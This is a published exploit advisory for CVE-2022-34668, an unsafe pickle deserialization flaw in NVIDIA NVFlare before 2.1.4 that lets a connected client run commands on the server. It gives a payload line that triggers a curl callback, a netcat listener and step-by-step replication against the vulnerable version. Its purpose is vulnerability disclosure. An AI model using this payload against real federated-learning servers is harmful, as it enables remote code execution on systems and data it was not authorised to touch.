NVFLARE Unsafe Deserialization

`# Exploit Title: NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle  
# Exploit Author: Elias Hohl  
# Google Dork: N/A  
# Date: 2022-06-21  
# Vendor Homepage: https://www.nvidia.com  
# Software Link: https://github.com/NVIDIA/NVFlare  
# Version: < 2.1.4  
# Tested on: Ubuntu 20.04  
# CVE : CVE-2022-34668  
  
https://medium.com/@elias.hohl/remote-code-execution-in-nvidia-nvflare-c140bb6a2d55  
  
There is a Remote Code Execution vulnerability https://github.com/NVIDIA/NVFlare. It is possible to execute arbitrary commands on the server for connected clients. It was not investigated if server can also execute commands on all clients (I expect this though, as it is by design required for the server to instruct the clients to execute commands if they need to train specific models). The consequence would be that a client can gain Remote Code Execution on the server an ALL connected clients.  
  
The vulnerability exists due to the deserialization of user data with the pickle module. There are multiple places where this is done, I considered line 568 on private/fed/server/fed_server.py the occurrence that is accessible with the least efforts and thus used it in my PoC-Exploit.  
  
The client generates a malicious data packet like this: aux_message.data["fl_context"].CopyFrom(bytes_to_proto(generate_payload('curl http://127.0.0.1:4321')))  
  
  
  
REPLICATION  
  
This example uses the server in poc-mode. The provision mode seems to run the same code in fed_server.py though and should be vulnerable as well. (To my understanding, the modes differ only regarding credentials).  
  
This exploit replicates the Quickstart tutorial https://nvidia.github.io/NVFlare/quickstart.html with a maliciously modified client to execute commands on the server.  
  
Make sure to use Python 3.8, the nightly builds don't work with Python >=3.9.  
  
sudo apt update  
sudo apt-get install python3-venv curl  
  
python3 -m venv nvflare-env  
  
source nvflare-env/bin/activate  
  
python3 -m pip install -U pip  
python3 -m pip install -U setuptools  
python3 -m pip install torch torchvision tensorboard  
  
git clone https://github.com/NVIDIA/NVFlare.git  
cd NVFlare  
git checkout 2.1.2  
git apply nvflare-exploit-apply.txt # note that this only modifies the client side code  
python3 -m pip install .  
  
cd  
poc -n 2  
  
mkdir -p poc/admin/transfer  
cp -rf NVFlare/examples/* poc/admin/transfer  
  
In four separate terminals, execute (after running source nvflare-env/bin/activate in each one):  
  
./poc/server/startup/start.sh  
  
./poc/site-1/startup/start.sh  
  
./poc/site-2/startup/start.sh  
  
./poc/admin/startup/fl_admin.sh localhost  
  
In another terminal window, fire up a netcat instance to verify that Remote Code Execution is possible:  
nc -lvp 4321  
  
In the admin console, execute:  
  
check_status server  
  
to verify both clients are connected. Then:  
  
submit_job hello-pt-tb  
  
It will take a few minutes until the job finishes downloading the required files, then you should see a connection in the netcat tab and error messages in the server tab (because the received pickle payload is no data that the program can continue working with). You can also shutdown netcat, which will result in "Connection refused" errors in the server tab.  
  
`